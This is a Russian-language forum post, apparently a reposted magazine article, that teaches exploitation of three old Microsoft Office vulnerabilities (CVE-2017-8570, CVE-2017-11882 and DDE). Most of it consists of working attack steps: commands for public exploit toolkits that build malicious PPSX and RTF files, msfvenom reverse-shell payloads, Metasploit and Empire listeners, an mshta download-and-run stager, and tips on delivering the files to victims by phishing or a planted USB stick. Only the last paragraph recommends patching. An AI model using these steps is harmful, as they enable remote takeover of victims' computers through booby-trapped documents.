Jump to content
Sign in to follow this  
mr.save

Отравленные документы. Как использовать самые опасные баги в Microsoft Office за последнее время

Recommended Posts

В этой статье мы разберем несколько далеко не новых, но в свое время нашумевших критических уязвимостей в офисных программах Microsoft. Под них уже давно есть модули Metasploit и куча заготовок на GitHub. Однако непропатченный Office — это по-прежнему бич корпоративной безопасности и путь на компьютер пользователей.

 

Некорректная обработка ответов от OLE (CVE-2017-8570)

В основе этого бага лежит ошибка, связанная с некорректной обработкой ответов от сервера в функции Microsoft OLE (Object Linking and Embedding), которая дает возможность встраивать одни документы внутрь других. Фича, конечно, полезная, но крайне небезопасная.

Когда зараженный документ открывают, приложение делает запрос на удаленный сервер, чтобы получить встроенный в этот документ файл. Сервер возвращает специально сформированный ответ. В нем содержится вpедоносный файл HTA, произвольный код из которого после загрузки выполняется на целевой системе.

Об этой проблеме стало известно в апреле 2017 года, а в августе произошел еще один важный эпизод: спецы из аналитического отдела Cisco рассказали о новой уязвимости, связанной с этой, — CVE-2017-0199. Если ранее для атак использовались документы Rich Text File (RTF), то новая угроза относилась к файлам PowerPoint (.ppsx).

 

Принцип работы

Атака, использующая эту уязвимость, развивается по весьма простому сценарию: пользователю приходит письмо с вредоносным документом Word и обманом заставляет жертву открыть вложения. Внутри документа скрывается объект OLE2link. Если жертва использует Protected View, то эксплоит не сработает, но вот если этот режим выключен, то на сервер атакующих уйдет HTTP-запрос, который подгрузит файл HTA, замаскированный под RTF.

image1.thumb.jpg.ee7d776e3847d5aecd14896d91f4e32a.jpg

image2.jpg.2e4b31cb94c2c9b82332d1adda8e5abb.jpg

Когда файл HTA подгрузится, он будет выполнен автоматически. Таким образом эксплоит срабатывает, а исходный документ Word будет закрыт. Вместо него откроется документ-фальшивка, предназначенный для усыпления бдительности жертвы.

 

Эксплуатация

Первым делом идем на GitHub и смотрим эксплоиты. Я буду пользоваться вариантом пользователя tezukanice. Создаем в директории Office8570 папку template и переносим в нее скачанный нами файл template.ppsx.

151153325_3(2).thumb.jpg.8abfa9581bcec23cc8f99029f5bb16c6.jpg

Теперь запускаем скрипт, чтобы сгенерировать файл PPSX с полезной нагрузкой:

$ python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.0.104/logo.doc

Указываем IP жертвы (в моем случае это 192.168.0.104) и видим, что появился файл Invoice.ppsx.

4.thumb.jpg.6f502b693b4a34ebde50eefc76c8d2cb.jpg

Далее, используя Metasploit, создаем полезную нагрузку в виде файла shell.exe в каталоге tmp:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f exe > /tmp/shell.exe

Дело сделано, теперь запускаем слушатель, который будет чекать порт:

$ msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.0.104; set LPORT 4444; run"

Чтобы все заработало, нам остается сделать еще одно действие — прописать команду на запуск локального сервера на 80-м порте.

$ python cve-2017-8570_toolkit.py -M exp -e http://192.168.0.104/shell.exe -l /tmp/shell.exe

И заключительный шаг — необходимо передать инфицированный файл презентации PowerPoint (Invoice.ppsx) на машину жертвы. Как — уже другой вопрос. Можно подготовить фишинговое письмо, подбросить флешку или еще что-нибудь в таком духе. Когда жертва откроет файл на своей машине, отработает эксплоит, и мы получим виндовый шелл.

Демонстрацию бага можешь наблюдать на видео.

Переполнение буфера в редакторе формул (CVE-2017-11882)

Этот опасный баг, который позволяет выполнить код без взаимодействия с пользователем, существовал 17 (семнадцать!) лет.

Исследователи объясняют, что проблема связана с работой Microsoft Equation Editor (EQNEDT32.EXE). Казалось бы, это же безобидный редактор формул! Но скомпилирован этот файл в последний раз был аж 9 ноября 2000 года. Разумеется, он не соответствует современным стандартам безопасности. В Office 2007 этот компонент заменили новой версией, но старую убирать не стали — людям же нужно открывать старые документы, верно?

microsoft-office-exploit.jpg.fb259b309b5601e733246cc8f46baa28.jpg

Аналитики компании Embedi обнаружили в EQNEDT32.EXE сразу два бага, связанных с нарушением целостности данных в памяти (переполнение буфера). Внедрение в документ вредоносных объектов OLE, эксплуатирующих эти уязвимости, позволяет выполнить на машине произвольный код, в том числе скачать любой файл с удаленного сервера и выполнить его. Неплохо, да?

 

Эксплуатация

И снова нам поможет готовый эксплоит с GitHub, спасибо за него парню с никнеймом Ridter. Клонируем репозиторий и делаем скрипты исполняемыми:

$ git clone https://github.com/Ridter/CVE-2017-11882
$ cd CVE-2017-11882
$ chmod +x Command109b_CVE-2017-11882.py
$ chmod +x Command43b_CVE-2017-11882.py

Теперь нам понадобится еще один хакерский фреймворк — Empire. С его помощью мы создадим слушателей. На случай, если ты не знаком с Empire, поясню, что «слушатель» (listener) представлен нашим IP и портом, где мы будем встречать соединение с машины жертвы.

Скачиваем Empire:

$ git clone https://github.com/adaptivethreat/Empire.git

Теперь можешь запустить и глянуть доступные команды, набрав help.

320914524_5(1).thumb.jpg.a6024c29ee672c6b5496715692fa1be8.jpg

Для создания слушателей пишем следующие команды:

listeners
uselistener http

Задаем начальные установки:

  • set <Name http> — задать имя слушателя HTTP;
  • set <Host ip> — пишем айпишник, куда обращаться;
  • set <Port> — пишем, на какой порт стучать;
  • execute.

Когда все будет сделано, возвращаемся в главное меню с помощью команды main.

1738644991_6(1).thumb.jpg.b5a583a4a46ee561b8df618b6284d7a9.jpg

Создаем нагрузку HTA следующими командами:

  • usestager windows/hta — юзаем нужный нам модуль;
  • set Listener http — активируем листенер HTTP;
  • set OutFile /tmp/hack1.hta — указываем путь к сохранению файла и задаем ему неброское имя;
  • execute — завершаем генерацию и выходим из меню.

1293973283_7(1).thumb.jpg.74001a014d33bf6a3d4d5c5646955f4e.jpg

Почти все сделано! Теперь нужно перейти в /tmp и забрать оттуда наш боевой файл hackl.hta. Его-то мы и будем запускать на машине жертвы.

Поскольку не любой юзер отважится запускать на своей тачке HTA, мы завернем его в документ Word. Документы ведь безобидны, это знает каждый!

Возвращаемся в консоль и пишем следующее:

$ python Command109b_CVE-2017-11882.py -c "mshta <link>" -o Example.rtf

Здесь mshta <link> — это URL файла hack1.hta, который лежит на нашем сервере.

Теперь файл нужно доставить до целевой машины. Как только он будет открыт, поднимется соединение, по которому мы получаем доступ к PowerShell.

433264042_8(1).jpg.e9198093cece572cc6793805901a2e22.jpg

Эксплуатация DDE (CVE-2017-11826)

10 октября 2018 года исследователи из китайской компании Qihoo 360 сообщили об уязвимости нулевого дня в Microsoft Office, которую злоумышленники уже активно эксплуатировали: устроили кампанию, нацеленную на предприятия. Атака отличалась тем, что не использовала объекты OLE или макросы.

 

Демонстрация

С точки зрения жертвы атака выглядит следующим образом. Приходит письмо с вложенным документом, открываем и видим следующее сообщение.

469670538_9(1).jpg.753be32c6ab1b1a74a6e1d35e26a7e1b.jpg

Если нажать на кнопку Yes, то появится другое сообщение.

2111591356_10(1).jpg.6bf72f37d970f21842ea8b8d803a4a29.jpg

И еще одно.

1850657953_11(1).jpg.dbcf374e6afca5f0896addc15ac9cd75.jpg

Ниже — древовидное представление процесса. Такое можно наблюдать при корректной работе эксплоита.

1550053223_12(1).jpg.7c295c3e4ec071345b86b888e8774a6b.jpg

Принцип работы

Техника этой атаки основана на довольно старой функции Microsoft Dynamic Data Exchange (DDE), которая позволяет одним приложениям Office загружать данные из других. К примеру, таблица в файле Word может автоматически обновляться при каждом запуске файла, и данные будут подтягиваться из файла Excel.

Как правило, при срабатывании DDE приложение показывает пользователю два предупреждения, которые можно увидеть на иллюстрации ниже. Причем специалисты отмечают, что второе предупреждение, информирующее об ошибке, может отображаться далеко не всегда.

Word-DDE-attack-warnings.jpg.6de86486887cff854ce51f044ab2b8e1.jpg

Основная проблема здесь в том, что пользователи, которые часто работают с DDE, не обращают никакого внимания на эти сообщения. Такие предупреждения уже стали чем-то настолько привычным, что их закрывают не глядя.

Исследователи, среди которых сотрудники компаний SensePost и Cisco Talos, не раз отмечали, что DDE часто эксплуатируется хакерами, и пытались донести проблему до специалистов Microsoft, но те долго отказывались признать это уязвимостью, пока наконец не выпустили патч ADV170021, закрывающий дыру.

Возможность эксплуатации DDE для атак действительно не уязвимость в привычном смысле этого слова. Ведь Office честно предупреждает пользователя о потенциальной опасности. Ситуация почти аналогична проблемам с макросами и OLE.

Тем временем атаки с использованием DDE вовсю практикуют серьезные хакерские группы, в частности FIN7, известная широкомасштабными атаками на финансовые организации. И существование патча препятствует этому, но установлен он по-прежнему далеко не везде.

Как включить DDE обратно

В сущности, патч лишь вносит небольшие изменения в реестр и деактивирует DDE по умолчанию. Чтобы снова включить эту функцию, достаточно поменять значение одного ключа:

\HKEY_CURRENT_USER\Software\Microsoft\Office\version\Word\Security AllowDDE(DWORD)

Значение этого dword может быть одним из следующих:

  • AllowDDE(DWORD) = 0 — отключает DDE. После установки обновления это значение стоит по умолчанию;
  • AllowDDE(DWORD) = 1 — разрешает запросы DDE к уже запущенным программам, но не допускает запуска новых;
  • AllowDDE(DWORD) = 2 — разрешает любые запросы.

Эксплуатация

Давай посмотрим, как получить активную сессию meterpreter на удаленном хосте (Windows 8.1, Windows 7, Windows Server 2008). Для этого мы используем скрипт на Python, который генерирует файл RTF. Все необходимое включено в Metasploit Framework.

Соответствующий модуль создает вредоносный RTF — если открыть его в уязвимых версиях Word, выполнится код. Уязвимость состоит в том, что объект OLE может сделать запрос HTTP(S) и выполнить код HTA в ответ.

Приступим к эксплуатации.

> use exploit/windows/fileformat/office_word_hta
> set srvhost 192.168.0.106
> set payload windows/meterpreter/reverse_tcp
> set filename order.doc
> set lhost 192.168.0.106
> exploit

866256734_13(1).jpg.bf310a6418975879dee7029a2c5f483b.jpg

Выделенная красным ссылка должна быть доставлена на целевой хост.

1596727051_14(1).jpg.47036faa569c3e85ae8e3853e57bf3b6.jpg

Если по ней перейти и запустить скачанный файл, откроется активная сессия meterpreter.

1186597402_15(1).jpg.195999b8c5209178a003d8bdaacd9830.jpg

Набираем sysinfo, чтобы убедиться, что это победа.

2023676251_16(2).jpg.7dc8f36537ad1f62391d93f60aa2e491.jpg

Выводы

Мы изучили три серьезные уязвимости, которые вовсю эксплуатируются злоумышленниками. Все три бага уже в той или иной мере закрыты патчами и имеют некоторые ограничения, но старые версии Office настолько распространены, что и уязвимости еще долгое время будут оставаться актуальными.

Помни: обновления — это вовсе не прихоть Microsoft, ставить патчи — одно из обязательных условий безопасности. Но далеко не единственное. Между обнаружением проблемы и ее устранением иногда проходят месяцы, поэтому, даже если ты исправно ставишь апдейты, вероятность нарваться на документ с сюрпризом всегда остается.

Share this post


Link to post

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...